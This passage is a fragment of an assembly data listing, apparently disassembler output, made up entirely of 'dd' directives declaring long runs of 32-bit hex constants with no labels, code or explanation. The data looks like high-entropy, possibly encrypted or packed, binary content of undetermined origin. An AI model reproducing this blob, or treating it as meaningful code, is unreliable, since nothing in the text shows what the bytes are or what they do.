0C2F14A26h, 0B8A6C17Bh dd 98E0049Dh, 0FECE25B2h, 0D28C91F3h, 5FA06963h, 5CDE337Ah dd 0C0E91109h, 0BDC6DDCEh, 80825454h, 0A7BAF63Ch, 0D7158979h dd 0C7E6AF50h, 0E919E5ACh, 2834D4F1h, 1C22B9D3h, 85DCF83Bh dd 9FD5E76Ah, 0C69C278Dh, 52339DCBh, 271EB359h, 509B745Eh dd 0D643568h, 428957B1h, 0B53D10D8h, 18FC2844h, 8009E04Ah dd 0A38E24D6h, 0C4D2F705h, 59B0DCDh, 53AA8048h, 0EB801DB3h dd 0A5409DEFh, 0E934AD34h, 0EC527956h, 11CB8AABh, 0B96A70BBh dd 0F1652F53h, 532FAAA2h, 0E07F54BBh, 675B2D6Bh, 0AA8114F1h dd 8405882h, 4A3A500Eh, 7699BE25h, 85100C06h, 0E52C201Ch dd 13D8ADA6h, 0A89E81CCh, 9A840409h, 92BB26D2h, 4C709C8h dd 0BF027044h, 62E06763h dd 0FB7BE781h, 803F8C27h, 66C087Dh, 21D89D29h, 0E456C34Ah dd 0FA422E19h, 7502B900h, 0C168261Eh, 420906DDh, 0FFB79959h dd 40873724h, 68125CCBh, 0EC46B6h, 565321C5h, 0B950419h dd 4F0EE32Ah, 1B49D25Fh, 0D3522513h, 5ED140C4h, 22062D91h dd 51221727h, 11328EFFh, 0C288FB16h, 1FD64907h, 668C305h dd 880F9814h, 0AFD3634Fh, 5CCB82F0h, 0FAFE1797h, 0B30DE704h dd 5C96510Bh, 1E08BF04h, 91AA49E5h, 46D78B4h, 94FE36C5h dd 8FCEAB77h, 0D2EEAD5Ah, 0EA6ED4ABh, 0C552EF63h, 1C57E0C8h dd 2D4D3368h, 0A43FB475h, 57B520F9h, 0B0840F0Ah, 5F2782E5h dd 5E9DF546h, 33F05A03h, 0C77EAC06h, 2C90BA0Bh, 2BCF438h dd 4F94010Eh, 8A09AD6h, 16CE5949h, 681AE955h, 84B1896Ah dd 81346218h, 2E135CF4h, 3ED939EEh, 5A415654h, 0B38440FCh dd 5F29099Ah, 6EFB1629h, 0B2C4628h, 0C7793657h, 512AE908h dd 0C3B0E7D3h, 0CF6E7503h, 4B79B92Dh, 0AA6BC40Bh, 348779C1h dd 8DDFA26Bh, 0E46B0E8Bh, 0F160C4C2h, 7690F3CDh, 0BC7560D0h dd 8A22A906h, 50C8E925h, 76ECBF47h, 5BF93017h, 8458990Bh dd 0A01949BBh, 0F0FB04DCh, 90CC5318h, 0EEE6152Dh, 0C3494C29h dd 0A14201D2h, 0E5799F0Bh, 706820DDh, 496F5F81h, 0FE76EA35h dd 524B7427h, 240F72FDh, 2510C86Ah, 2F564E5Eh, 2A521CE9h dd 0F3964490h, 35B1002Fh, 1194434h, 0A5BA523Eh, 2A30147Dh dd 0ACEC71C3h, 74180113h, 7B78DD5Eh, 0E353F12Ch, 8329C395h dd 46ED8101h, 2A14937Bh, 0FC85AEACh, 10E5A33Fh, 5D3FF446h dd 8D3EE178h, 0B8012B92h, 6AAF7098h, 0A0969770h, 79BEF06h dd 162B74Fh, 16C7E5CFh, 3FEAC908h, 0EC961DB6h, 0C7C6C467h dd 0C01A114h, 89448D7Ah, 12627ACFh, 5925E867h, 0D35E31h dd 1941176Bh, 90C14F69h, 0B1EEFB11h, 7CB0CF3Bh, 8E63F6A0h dd 0E38C5D82h, 3912CD38h, 0ED2C5A09h, 15D80EBEh, 90364E61h dd 81825DEh, 0CC577A24h, 172F3008h, 7E2CEE5Ch, 16279AD0h dd 0EBDE874Bh, 58F5A441h, 0C827F6Ch, 178D3863h, 0D4B780F7h dd 0C1693D79h, 3531D01Ah, 60722C20h, 48266EEEh, 3B80BF0Ch dd 44F8C181h, 0A8B52D72h, 0C3408D1h, 92FB1714h, 0ABBFC04h dd 0C27DF2AAh, 48774B68h, 9F525E26h, 7242907Bh, 0BD20465Bh dd 7B0B6C91h, 5E327944h, 18C4413h, 2CA2E4C5h, 759F7B7Dh dd 0ABBAF114h, 45A89855h, 0CB0AE85h, 399D162Dh, 0E96DB046h dd 0FEE1BD16h, 43E8BCDh, 9640E1h, 0B151D8F6h, 0C9801FD0h dd 72C74BD7h, 3872B677h, 0FEA7DBE9h, 0D216EAF3h, 756547ABh dd 29DBFBC6h, 89A4E626h, 5C664201h, 7FE62905h, 0A53B9B59h dd 0B8D5C023h, 0C370091h, 32D351Ch, 0E0BF2C19h, 4B38E9A8h dd 93CFA84Dh, 178B9838h, 0C052455Dh, 6B5A59FFh, 4911DF86h dd 46E80F7Bh, 41272492h, 0B496D520h, 60116A02h, 5795D5E9h dd 67130EF2h, 0CA002771h, 22604282h, 9FE9701h, 0B7495569h dd 19E72AF4h, 102D257Bh, 0C0B725Bh, 0B73A7D5Bh, 16B0B67Fh dd 0BBFEF7DCh, 0EB7CFB28h, 0FC019155h, 3D776851h, 52068163h dd 0CD4AE7E9h, 920CC102h, 0E0213BEBh, 0C34741E4h, 7B37C21Bh dd 164142E2h, 0E016048Eh, 0E9FD2B33h, 8680E4A5h, 0B83CF81h dd 0FDB81651h, 0CC77EF07h, 467C13Eh, 32461EFFh, 90C0C6Fh dd 0F3B6CEC6h, 5AB0CE2Ah, 3E8D1641h, 0C4BBCCD5h, 0A92ED931h dd 0E904690Dh, 0B2BE7CCFh, 3499F25h, 9D661662h, 85367794h dd 978C433Dh, 7F6EB27Fh, 0F6A5A0F9h, 8D4BE2DFh, 1070B8DDh dd 7FCD9D70h, 0E81FE909h, 12C5F2EDh, 0A86C0346h, 0F7067980h dd 4B2E4D31h, 0B8CF9882h, 4B5C7EC4h, 51C5FAEBh, 0A2AA9E12h dd 5F3FCB0Bh, 59D71A09h, 0BA5D4993h, 93808035h, 0A072134Ch dd 981AF0EFh, 89455849h, 0A30BC50Eh, 940AFF92h, 466CFE68h dd 0F2D8B758h, 2D7D0586h, 23657E02h, 7D573AE9h, 7CECDC71h dd 334B00D8h, 4FE70D4Dh, 0E9272D60h, 5B5F8458h, 521F0D8Bh dd 0B35301B2h, 0D8DA0873h, 200EAC0h, 0B450D2F6h, 2C480A0h dd 58E228DEh, 1D5FD388h, 0F38080D6h, 0E065E97Ch, 4BBC79B7h dd 64B5A144h, 0FE554BBDh, 0EB82A274h, 569169EFh, 0B1A22247h dd 0D993E9E4h, 0D4CE8661h, 5374E9E8h, 20DD62Fh, 87529F96h dd 94EB7A61h, 599AD4Ch, 1D6135DCh, 0D0F787D0h, 57810005h dd 0BE561540h, 0D42C3B79h, 1A07916Dh, 449D0369h, 0BD92017Ah dd 20603BF8h, 829AF5B1h, 0B4447FFBh, 290465E1h, 2399FED3h dd 0E9C5CC79h, 326AC05h, 7A3CF0BFh, 0A8AAD12Ah, 9FAD6B34h dd 389E4168h, 83D3CF1h, 0BFEDD81h, 42505EF0h, 4AC7BD22h dd 1B87AEC5h, 3A99D7E9h, 8B913C66h, 50A7892h, 8516D5BBh dd 40E2E131h, 2EA6758Dh, 0C8B1895Bh, 8F59E2D2h, 0EC39656Ah dd 0CAEBCB06h, 96E35081h, 154D10FAh, 1C187D51h, 2D0C52D5h dd 1F913E7Eh, 490CF61Ch, 9CFD1011h, 0FE92D43h, 5C5F74D8h dd 0FB1334BFh, 0D14974CBh, 0B7F20212h, 0C85C274Ah, 9F10CFAFh dd 34BFB8E4h, 0E6A4202Ch, 5197C0BDh, 0B2DC27D1h, 622567D4h dd 50F20461h, 0DE5917A0h, 0F0D44997h, 5D7266DCh, 19A63A47h dd 3716A216h, 400CCBFAh, 31B55E8Dh, 2442021Eh, 29F65DEBh dd 0CAF48325h, 5D4A2DD5h, 16A3B42Ah, 784CF265h, 22E8E527h dd 7D0B63BFh, 0D5AFD07Bh, 0E2E96530h, 2000FE94h, 0F5805BDDh dd 4EEBE618h, 59A197C4h, 0FB25BD8Fh, 9EFCA9FEh, 860847A9h dd 0C6290B71h, 3B283218h, 0BD6A7D82h, 4B2CF2F5h, 5B2703B5h dd 0C185912Ch, 0C912BBh, 3D5AD520h, 7816DDF6h, 0A18FECF4h dd 743A69D8h, 0D6B7E8BBh, 0A0704BA1h, 5802EDBBh, 0E7D10DC0h dd 0D36CABB8h, 9FC2E26Ah, 8B3547CCh, 16BE1CF1h, 0EA6DA406h dd 0A7CDDE5Eh, 17F3AC6Eh, 7E326A41h, 2436056h, 7EEE163Ch dd 36464B4Fh, 0E05FC8C2h, 801FC2B7h, 1A24EEBBh, 0E3000C64h dd 506758CEh, 0ECEB60D1h, 6012155h, 8FB6C097h, 0E7008232h dd 3ECE349Ah, 0D0ECABDh, 0EE3A9B08h, 0C358DB59h, 51C5E82Fh dd 6E2EF938h, 5CC0055Dh, 29BF88D5h, 796CBDEh, 3388A9F1h dd 77D8270Eh, 6C752D00h, 0C529E55Fh, 0E95B1658h, 5AFDB82Fh dd 2F68A08Ch, 355C25A2h, 2DEE5763h, 8AFFEF73h, 1D044405h dd 2AF1F4Ah, 0FEF001BBh, 5C7691F7h, 5E072C6Ch, 921C6F09h dd 0D9D5CC37h, 815C666Fh, 39E3BB0Ah, 0BE84A7F0h, 0C0EEC678h dd 0C72E7249h, 67A3EA50h, 78C58080h, 0F82924A7h, 7C29203h dd 0B313C47Ch, 2719F5A6h, 7106AFC3h, 0BE3C22ECh, 5F48E26h dd 4D9CAE17h, 0FB3C4A46h, 21912464h, 0D7EE8168h, 0E527606Ch dd 0CA931B26h, 138D71D8h, 68DF2030h, 8B9FEC0h, 64EA843Bh dd 99D94725h, 12C4B06Fh, 0E13B3B41h, 0EEF02E77h, 40729D5Bh dd 9112ED07h, 21DD2179h, 419C2530h, 0B7C403F0h, 0E49DBFF5h dd 0C2C1BC2Eh, 0F93861E9h, 4855E980h, 9714E9E4h, 19F5BE20h dd 2F134C5Ah, 3BB8EE21h, 581BB506h, 0F1069604h, 2948B787h dd 3057B1Eh, 0E911B269h, 0FA4EF9FBh, 31E4EB4Fh, 4F0EF103h dd 0E1B02515h, 0E82D3CB5h, 7FD7C02Fh, 2A9F3114h, 284F10Eh dd 0DAE74A2Bh, 0F52616F1h, 0A288AEFEh, 301F5AA3h, 0BE27DA79h dd 0DEE9120Ch, 0A02176AAh, 0B7D31DD2h, 77E9DB71h, 505B89C4h dd 2A7569BEh, 2D212BBAh, 0EA0EC00Ch, 0C320B7E2h, 5EC219F8h dd 13216B80h, 12470BECh, 6D90FE6Bh, 483331FBh, 6000BA2Fh dd 0E94F0F57h, 8E9AC190h dd 7D5DE825h, 144EF494h, 7F8F8CFAh, 89317459h, 57BBC15Eh dd 402E2B2Eh, 2A13EBC6h, 82122BC4h, 0E05B940h, 0BD5A2667h dd 781C1F0h, 29EB2B5Fh, 0F26004Ch, 0C0B5C8AFh, 0DDBEE0B0h dd 0F568C04Ah, 59226F45h, 2B6009Fh, 4B2103E8h, 4F20C0F1h dd 3E165769h, 2EC9DE9h, 0D428BA4Fh, 0C26C96B9h, 5E07D4FFh dd 24D509EEh, 0FFEC2C3Ah, 0A30EC093h, 0D60415Eh, 4F0B91B2h dd 6F30E52Dh, 37043F14h, 253B0924h, 0A962E810h, 0E93E6AFAh dd 0DBFEA72Bh, 73BB88EDh, 62BA5200h, 3141A1Bh, 3F9BE281h dd 0EAB04E75h, 0A276CD7h, 189E7836h, 0C271817h, 14EA4CF0h dd 5B56E8BDh, 2C52D0Ah, 27B98E76h, 124367D0h, 0D7D6EB56h dd 5FB6077Ah, 0C4420306h, 0B8E1E081h, 9EBA40Bh, 3A065401h dd 18BCDA2Eh, 61BEC6C5h, 34856B1Eh, 6829FC89h, 2F26D2D3h dd 430B3AB7h, 0F3255544h, 0C6C550Ch, 0C6255BB0h, 0BFFA73FEh dd 5C65E2B0h, 3A7A4534h, 0E9F03120h, 0EF02FF2Ch, 0D57B160Ch dd 565FEA60h, 6A7DFFA2h, 977C70F9h, 2D4FBEF0h, 6B5809BDh dd 0D121A727h, 7ADE01C3h, 310E1EB8h, 4D758C1h, 0A05692h dd 0FC9E3D2Dh, 5101674Bh, 1907F7D6h, 366147Fh, 7A5A80CDh dd 0E5E84566h, 48324E9Ah, 2B32FA6Bh, 6D69BBC0h, 0FC9E967Eh dd 0D2827569h, 929A02A5h, 44713A7Dh, 7275FB4h, 74CD8921h dd 0E0C9E11Bh, 0CDFF3C77h, 6CFD6FB5h, 8B2080A5h, 65D185Eh dd 8A27228h, 0AEC2357h, 745768Eh, 72192D65h, 0B558C253h dd 0BB6053FEh, 4F9D448Eh, 2CFEA926h, 0A1082BC8h, 0E2D00072h dd 0FE96CA80h, 0DCF2D4E7h, 0D54B09FEh, 0B9D2EED1h, 585C8B07h dd 4FAB30Bh, 5609FB39h, 525A0744h, 2D33C2Ch, 68751955h dd 0CAC46BDBh, 955ACF40h, 0D1A72AE7h, 1C876229h, 7CBA102h dd 0BC43655Dh, 13680CF7h, 40D45F30h, 0C109BAEDh, 0D5624945h dd 84F2B520h, 46C4A2E0h, 0E0C84BE5h, 22260BD1h, 0C0564F0Ch dd 0D58AB6C8h, 608761Eh, 0FEF71E93h, 565002ADh, 0CB88769Dh dd 3A2226C1h, 0DBAACA17h, 0AFA24B4Bh, 0F431BB5Bh, 0D6423A6h dd 0BC5E5EF2h, 20E9F0F7h, 0FE29CE7Dh, 0A1F3F8E6h, 5F91D665h dd 0DE040EE8h, 0AE8925EAh, 0E912BEADh, 0E05AFF70h, 0F006F4B2h dd 85BD83E9h, 5C523334h, 5304C1BAh, 9B346A07h, 2543BCBFh dd 257BE55Dh, 11A32DDh, 722F9EC1h, 980CE470h, 145D9F38h dd 0EF96FC4Ch, 2D444FAh, 0CD023FBFh, 0EA5F2D5Ch, 54CDC28Ch dd 0C1450442h, 208FFCEDh, 2959067Fh, 6808247Ch, 0FBD1A74Bh dd 5AE417EBh, 4C6E803Bh, 8368762Eh, 262EA207h, 61DD0122h dd 0D7CCC1C2h, 0A04A5B61h, 0C7C0FF8h, 13123740h, 478A370h dd 9079E9EDh, 344DBA4Ch, 24C14A7Ch, 2E457571h, 0DB05AA2Fh dd 0E3C276C2h, 0B2237F29h, 13A9FB2Bh, 7EE90089h, 0E3FF4A56h dd 87BF127Dh, 0BE68F130h, 0A594B118h, 0B77E4C57h, 0AFA27CC7h dd 0C2FE719Dh, 2949F854h, 0AB4DCFBh, 0E31E42B1h, 66375A8Fh dd 6F24911Ch, 0D028A654h, 2E9D0C31h, 0B9B2BB00h, 7C923325h dd 7BAD3E04h, 6BC4E462h, 43B4501Fh, 19517A0Ch, 0D7F7C901h dd 6E974370h, 2F7190D7h, 7820B9AFh, 199F41B7h, 0C9D8F72Eh dd 0D450E010h, 551669C3h, 9E9E68E6h, 0ADBC7F25h, 75623295h dd 985A15F4h, 2A685681h, 549E1EC6h, 12B98CFFh, 0BF1D2CF3h dd 8FB83C17h, 6342A004h, 4829C739h, 0BA449A3Ah, 0F5ED8BEAh dd 0CD74C02Fh, 8E70A845h, 0C4A65E68h, 67A7EA5Fh, 17A03396h dd 8F845B4Ah, 52FA5194h, 0B0A1EE99h, 693EEA00h, 421138DDh dd 797951DCh, 29A01027h, 0E3C510D6h, 0D517EF4Fh, 0C03C6FEh dd 250FF6BFh, 0D8FF1162h, 52E91B1Fh, 70253597h, 0D236DAEEh dd 942E90Ch, 0FFECFBE9h, 0CADF3B98h, 3323909Fh, 17C0300Bh dd 1075310Ch, 0A3B85D00h, 1F44C15h, 9EE298F0h, 14FD250Ah dd 8392C279h, 0DEC1E517h, 79F540DDh, 6AB71AE8h, 50496160h dd 0B185EC2Ah, 933B5AD0h, 66BE7AF1h, 0A1F48013h, 5B1AD7F8h dd 0B57E3B9h, 79AC555Ch, 6A13AD0Ch, 60AE71E3h, 3BE2685Fh dd 2DD1C2E1h, 464FC340h, 0A03541FBh, 0E9980844h, 0D727B894h dd 798B6747h, 0C5B91B63h, 62AEF1AAh, 65BB1716h, 0F92A09C9h dd 3A2DE0DCh, 7422274Dh, 7200F5Ch, 6CE939C4h, 0C0007FB8h dd 0F58008E5h, 0EA4A88F7h, 0B4306128h, 41941320h, 0A81BD185h dd 0BF6FE849h, 0DFF7FE4Ah, 109B5E3Eh, 52B81AFDh, 0D8B5DE88h dd 5EF1B5D7h, 5825FE48h, 6059B529h, 4AD76878h, 25D6E337h dd 226D7253h, 8AD34E78h, 0AAFD4817h, 174C984Ch, 978A910h dd 0C1E1850Fh, 28355237h, 6A963080h, 0EFC163F2h, 2060860h dd 180DF781h, 0C359A24h, 8250D893h, 6CB7FDF2h, 0D9E91294h dd 0B80A9D84h, 0C2488158h, 0C6E9517Dh, 0DE3B2B29h, 69603FAFh dd 8009C328h, 450C8EBh, 0F5FB0F17h, 82F171F9h, 2170BB48h dd 6AB2D859h, 2ED00FBEh, 86C56872h, 6BD985E9h, 275E8CA8h dd 0AD78A83Eh, 0F6688909h, 681274DEh, 98C6631h, 9B631C88h dd 98C400Dh, 0E8C11E6Bh, 5D350509h, 0E9FB82DBh, 284A7EDEh dd 0B55E50F4h, 31A20FBDh, 47EE222Fh, 59053B3h, 89140D09h dd 0F4E97FE5h, 0ACC13C2Ch, 0E955D040h, 654D4327h, 250720A6h dd 3F591868h, 0E9545082h, 1DED7C99h, 980497C1h, 8025716h dd 0C7687C9Dh, 11DAF1Fh, 594020Ah, 909B758h, 37A4E9FDh dd 183C39D1h, 0E061D70Ah, 65B2B506h, 175780E0h, 0BB3A5F81h dd 2E10A566h, 899326E9h, 9F80D0F7h, 3C144C9Fh, 5302DEF0h dd 157408BBh, 4F63D86Eh, 3919A1FFh, 0EAE9B38Dh, 4F18548Ch dd 0EE980F04h, 0EC5AFD8Eh, 8EF910D8h, 0F8EB6812h, 0FE88C169h dd 0F4D15051h, 16E6F120h, 0E3A7F1E9h, 23284AE7h, 6459D54h dd 8AC7E905h, 4111FC27h, 0F93B3CD9h, 0E4EF9267h, 715EE9F2h dd 6BC20DC4h, 0BDD6F872h, 7C7714CEh, 0F602B79Ah, 5D715474h dd 58E47546h, 0F4EA38A0h, 0EFFFF697h, 0F9340E85h, 0C6AC5FEAh dd 298A0F04h, 0DC86EF41h, 5784203Ch, 44EE3F2h, 87067FFDh dd 0C460140h, 0C312DE09h, 44047F39h, 0C2E49289h, 1FCD4840h dd 922DA593h, 6804B9ADh, 8C2E70FDh, 0E3209223h, 3E4EA1FEh dd 0BE6DD43Bh, 5350F481h, 0C942EFD1h, 92CE88FEh, 5F3D210Ch dd 0F52B0FBh, 4E973EB2h, 1A8814A6h, 7CC4748h, 75226F2Ah dd 0B507C2h, 34DC281h, 0C693130h, 5B1F784Bh, 632E501h dd 14810C08h, 31BA2B5Bh, 0C2239175h, 58A951FDh, 0D395CC74h dd 13F7193Bh, 4CDFFE29h, 7CCD4CBCh, 3F92F04Eh, 1C1F7019h dd 7CE83EEh, 44E66396h, 0C4FB0C4Bh, 8449E9C6h, 3105BEC8h dd 2AF289F0h, 0BAB4A7BCh, 0FBD71DF8h, 1C249A2Dh, 0B010189Bh dd 45FC944Bh, 755AD525h, 70CDDD40h, 2B965F1Bh, 356CF00Ch dd 0BC5F813h, 0B153A721h, 0D6A049F3h, 17862648h, 0DB502927h dd 0A4573308h, 0C54BEB16h, 0C77E41BEh, 24C003E9h, 59BFF15Fh dd 290D01D7h, 2B69C75Eh, 2600D313h, 717C5F25h, 0E9F81F09h dd 0E6526DD4h, 81430703h, 0AC739DE3h, 4092BE8h, 0A202CC5Bh dd 65F1E256h, 0F754C4CFh, 3A3E28BEh, 0BFCA8497h, 7A67FCBEh dd 5742CA25h, 0AD90D614h, 0F81EDD95h, 4CE9D680h, 86476BF5h dd 0F693E2D1h, 26124540h, 0F5F575E8h, 2E38EA3Eh, 13394EE9h dd 78B1E1B9h, 4C46E57Fh, 4C0B455h, 88B2B353h, 0C04ED9D9h dd 595E66CAh, 989150EAh, 9F437514h, 5DCDB40h, 0E90E9D2Dh dd 0D2FE89E2h, 16BED0C1h dd 0CD112069h, 97AF1495h, 4A02CAA2h, 6ECB5DD4h, 0A0E91A86h dd 2FF86E1h, 17A32h, 148BF708h, 504ED9B7h, 331EB050h, 209D642Ch dd 0C8FEF307h, 0C7284480h, 4D50B858h, 0F95B441Ch, 4ED84F9Eh dd 0D97E1205h, 62FC074h, 4190F92Eh, 12E9C30Bh, 6F3CFCFDh dd 9783BE25h, 3444A432h, 0FBC476B9h, 0F280023Bh, 0D8587D4Ch dd 7988AE2Dh, 0B9F88B15h, 5DA7E6D6h, 0C320639Fh, 3802AD98h dd 0E9561340h, 7736C2F0h, 9D20481Ch, 5B5D28A3h, 839477EDh dd 6B75AF17h, 0E8973FFDh, 8B382713h, 8BCDD1B1h, 85DC1D39h dd 94EEC850h, 0CF594314h, 32AE0E5Fh, 4233C06h, 0CBF64EB3h dd 1C680240h, 0E0476344h, 3BFE82EFh, 81589F70h, 13BC5116h dd 347B152h, 96F25F08h, 0DE9F8D5Ah, 0B1B5925Eh, 28ED2B1Eh dd 0C62FB1D0h, 878B16F5h, 0A1D0089Eh, 42C78007h, 802FEF33h dd 16B450CFh, 0F061E9A5h, 48F22DDDh, 566BC625h, 0C4072056h dd 4EDD5A2h, 0FCC3028Fh, 7A9C50B2h, 0BC205FF6h, 0B597816Eh dd 0FA70726Fh, 68578069h, 654BF00h, 0F7815F20h, 10F81287h dd 7A14D1F0h, 0F2A18E4Ah, 64E26CB4h, 3004BD39h, 0C689E05Ah dd 121B7C9Fh, 0D653215Fh, 6FE8051Bh, 1A060A05h, 1261BD0Ch dd 0F6E6BF47h, 5C06BD4Ch, 781BD479h, 9A285E41h, 869F02Ch dd 0D120C96Bh, 0DAAC5297h, 6A5FEC6Fh, 0EE7E5733h, 49FDE978h dd 4D79B19Ch, 8ADE2026h, 9CCB0C5Dh, 8776A04Ch, 58048490h dd 3126373Ah, 3EF079C9h, 99FE4BDDh, 0C64624Dh, 46206B77h dd 730D628Fh, 302C72F9h, 0C4CF5F88h, 12FFB976h, 99DDAF47h dd 431F7C82h, 216019DBh, 6C04E087h, 5BDE21C8h, 0F68490FEh dd 809810C2h, 0AE0F2298h, 87751D30h, 4AC063CFh, 547EE91Eh dd 6BB57F3h, 5DA56CF1h, 4600344Bh, 81129962h, 256B26E7h dd 0FA8B70E4h, 0C11D6A7Dh, 0C06D0CF4h, 0B36F0D04h, 961A8049h dd 0CF10EB61h, 812FB29h, 5002B2B4h, 7CC5BC72h, 0A2EF5450h dd 0F09C899Ah, 76BE04B9h, 0C1456608h, 5090F8ADh, 22E0C988h dd 7C6C1C3Bh, 0E1984E0Bh, 99817F1Fh, 3E4C232Dh, 0D85027A2h dd 209D95B7h, 0EF2F125h, 0B4F3EFF0h, 42F29781h, 5D9BFEF4h dd 0F6376809h, 2BBDC017h, 0FDD33178h, 0B2850EFh, 0DF39BE4Bh dd 521BF720h, 0B92F835h, 90D157FDh, 0C3C5997h, 0D95D8283h dd 20776BCDh, 233E45CFh, 209E907Ch, 0EB81A5DCh, 35593006h dd 782828FEh, 1831C2D1h, 8ED215Fh, 0F500D672h, 530647DAh dd 40BCDDF7h, 0F608A689h, 0D8F27356h, 3FA98D6Bh, 380AA7B0h dd 828D850Dh, 0DE5D4055h, 0A41083EDh, 4204FA3Dh, 8C148F68h dd 62FE55D0h, 5AB5D759h, 4BBE12C4h, 53725A85h, 13476C20h dd 0BD7F75Fh, 6EEA5653h, 0CD93B5C3h, 895EA3DAh, 41717325h dd 0A788F2E9h, 96FF425h, 0FC1069DEh, 6F920762h, 578D8B97h dd 15522A5h, 84400BABh, 98C03B41h, 0A56713E9h, 265A14F3h dd 1F969051h, 3387AAC1h, 27FA8BBEh, 6A44C562h, 0EDA100EAh dd 3EE4AC55h, 903E927h, 7E77747h, 0BD4C712Fh, 0F07E4CADh dd 80F7DE62h, 7842C12Fh, 9FA9F0Dh, 0AD048004h, 7DA8452Dh dd 0CA6EBAB0h, 41E9790Ch, 3EE745F2h, 1EB06FA7h, 0C2D648Ch dd 0CA893727h, 0EE238076h, 502F6987h, 16F99103h, 0FFF24652h dd 0DB76715h, 0A6809BE9h, 0E0C14740h, 82D0403h, 0BE16316Dh dd 801A7626h, 0CBDC07D0h, 10CA5C80h, 8C225C5Fh, 681DAF03h dd 0D71CDD24h, 0FDA1E269h, 15905ED8h, 0D9450C41h, 4B55B1EEh dd 9E680B6Ah, 0B7459127h, 8474A014h, 3F4890E0h, 0C5830A8Fh dd 0A000D401h, 0E9408A6Fh, 46D24EEFh, 6FB7DBB3h, 697AB3F6h dd 0FA899315h, 25BBD739h, 62848084h, 384AE8E4h, 0D0C8DA62h dd 3B779719h, 0C3F5F1BCh, 4030B835h, 0DADC8211h, 9336F601h dd 4468E220h, 0C128EF5Bh, 7CB7AA9Dh, 876F127Ah, 0FAF005C5h dd 0ED83843Ch, 5C882C3Fh, 0A368660Eh, 0BAA79B5Ah, 50FC7773h dd 0A1EAD065h, 9465D6B7h, 52960DAEh, 2F77BBE3h, 620B1EE9h dd 0D1E6C8DDh, 1FC71F65h, 0B9B9D692h, 13FB4E36h, 0C2ECFD55h dd 0FC5497E9h, 232A4EEh, 6C9B30DBh, 75A88F5h, 4FE93530h dd 0EDDFA871h, 4F60785Ah, 4F1C875Dh, 8EADC9E6h, 0C50807Fh dd 0CB41F3C2h, 0C242C3ADh, 0B5174E7Fh, 27E90290h, 0B107E258h dd 537355EFh, 918EE916h, 0D7B0843h, 4FD1A86Eh, 3E17BBA3h dd 0F82889B9h, 26AB02B3h, 2B50B4C0h, 2E8B1228h, 9808F40h dd 0DAF617EAh, 16BAC984h, 700E05EEh, 0BBE51622h, 601A9288h dd 0A9BF2350h, 48007075h, 19A580BAh, 90FA0112h, 0B41C4A48h dd 774A53C1h, 0EAD64AA9h, 0BC117F39h, 0EB10C093h, 0A52F11FCh dd 123B5C63h, 7B5DE155h, 0F1B71BFCh, 0D4580568h, 0D0905D79h dd 4714D4Ch, 0EBA6BABh, 0F2C27FC7h, 9BCA5FADh, 171B02D5h dd 88E2F9B2h, 0AE2135B0h, 7B353DA6h, 7CE880BEh, 86A06D86h dd 1097A791h, 1525779h, 8A19F5BAh, 2FA1686Eh, 0DE007AB6h dd 0E9A0F9F6h, 75C51AC3h, 0A3EF5BD9h, 941725FEh, 7BC897E3h dd 5D82EBA8h, 291E3A51h, 0FDF6A5h, 116CBE56h, 0FD904CEDh dd 6674C109h, 0BBC88040h, 0F8581D63h, 267B04C6h, 0EF21A3A4h dd 75E50980h, 0FE66FE73h, 18503DCDh, 77C2B24h, 62913870h dd 97798E9h, 8FDB5770h, 14C0774Bh, 717B76EDh, 1EA0BF04h dd 84EF0C1Ah, 0C1AEC735h, 712ABA42h, 8C6A06Ch, 0C660E7FAh dd 276AC563h, 0C7A6090h, 9EB8C06Eh, 0C344E8D8h, 0AEFF1322h dd 3A08A1E2h, 81AB1C17h, 2F1E2965h, 0F547AD49h, 64C2C031h dd 0C7580184h, 0BBF4B5Eh, 8F5E58EDh, 20062CE4h, 0C70493E8h dd 15DD559Dh, 0EFCA0ABFh, 252E2008h, 90555632h, 81395D27h dd 25573B01h, 0EE2E84BAh, 0B7EAF09Ch, 202924C9h, 0FCB4CF9Eh dd 4A053327h, 45948E58h, 2ABA2EBCh, 66B255F6h, 0E34F7869h dd 25CD9EAAh, 0BFE050BFh, 5F5A66F4h, 51E51579h, 2853C0FFh dd 0FE508BE9h, 350548A5h, 7545C323h, 52CC86EEh, 6F427A9Fh dd 0E9255229h, 8093D58Ch, 0F64AD14Dh, 4E170A48h, 4A2944F4h dd 0C526A2D8h, 0B6EED691h, 0BA8F60B6h, 77A3A0h, 4FA2DEDh dd 0D0295CD5h, 6E070551h, 0DF21B232h, 0B8F593E0h, 94B4012h dd 6A802D12h, 27A5C180h, 9455CB28h, 0E8682553h, 0C14793FFh dd 7FC228D8h, 0FA6228F1h, 0EE7A72C2h, 3FC89A10h, 5E13D821h dd 56B449FDh, 4842F583h, 9CEA37D3h, 0F881916Ah, 305C4D91h dd 4C40CE46h, 8995A05Dh, 74072F22h, 12936BE1h, 0A61140C1h dd 0E67B5E49h, 0ECDC5135h, 713F0264h, 4FC24FE9h, 0B9645D31h dd 0B416BC4Fh, 32CAE901h, 6DEC453Fh, 69EEBD83h, 0AC4FE290h dd 0E5964349h, 160194CDh, 0BC4A9738h, 74EFD305h, 0B5BBF050h dd 2E29F94Bh, 0C055EAA7h, 0F98DE9AFh, 68F97782h, 0BF7E388Ah dd 51A9DC62h, 16AA8D8Bh, 828B2EE5h, 0FA9680Ah, 0A76A559h dd 0BBCE421h, 0D2959E12h, 7EE91631h, 3F95D2B0h, 58407BD6h dd 9551D5F7h, 0FD600A51h, 16E6DFFBh, 0EDAF96E9h, 28B3A61Ah dd 2C31B227h, 8D888C9h, 5C2F503Ah, 1C2526E3h, 82238BA8h dd 0E825BA40h, 2402A7B1h, 407D6534h, 27867EF9h, 4AD7B137h dd 0DAFFC84Fh, 1520B5A6h, 2E441B18h, 0DECA8102h, 0E128E058h dd 1D1E9BFh, 7F0057BCh, 6862FB51h, 58A456D7h, 8A83A5Eh dd 0C680BD5Ah, 7AC8A92Bh, 0B5BD1F55h, 0ED838D15h, 4B043BFEh dd 0EB00C271h, 45535536h, 32335203h, 8F6C642Eh, 56444101h dd 0A64950CCh dd 544E3F0Dh, 0AD54C38h, 3C0B011Eh, 9441A47Ah, 0DD002408h dd 6059A1Eh, 0FE39589h, 9B8246C6h, 118B4215h, 81219CA1h dd 909DAD08h, 9E0D8477h, 0FA446D48h, 66106322h, 1259899Fh dd 3EA56026h, 21CA00ABh, 0B338DEA3h, 0A40048DDh, 17F84D03h dd 74FE92h, 0F7FC9DC9h, 4B6C0C91h, 0E2B00500h, 4F268BD9h dd 9B3A00AEh, 56920B1Fh, 0EE017109h, 8A9E585Eh, 12815711h dd 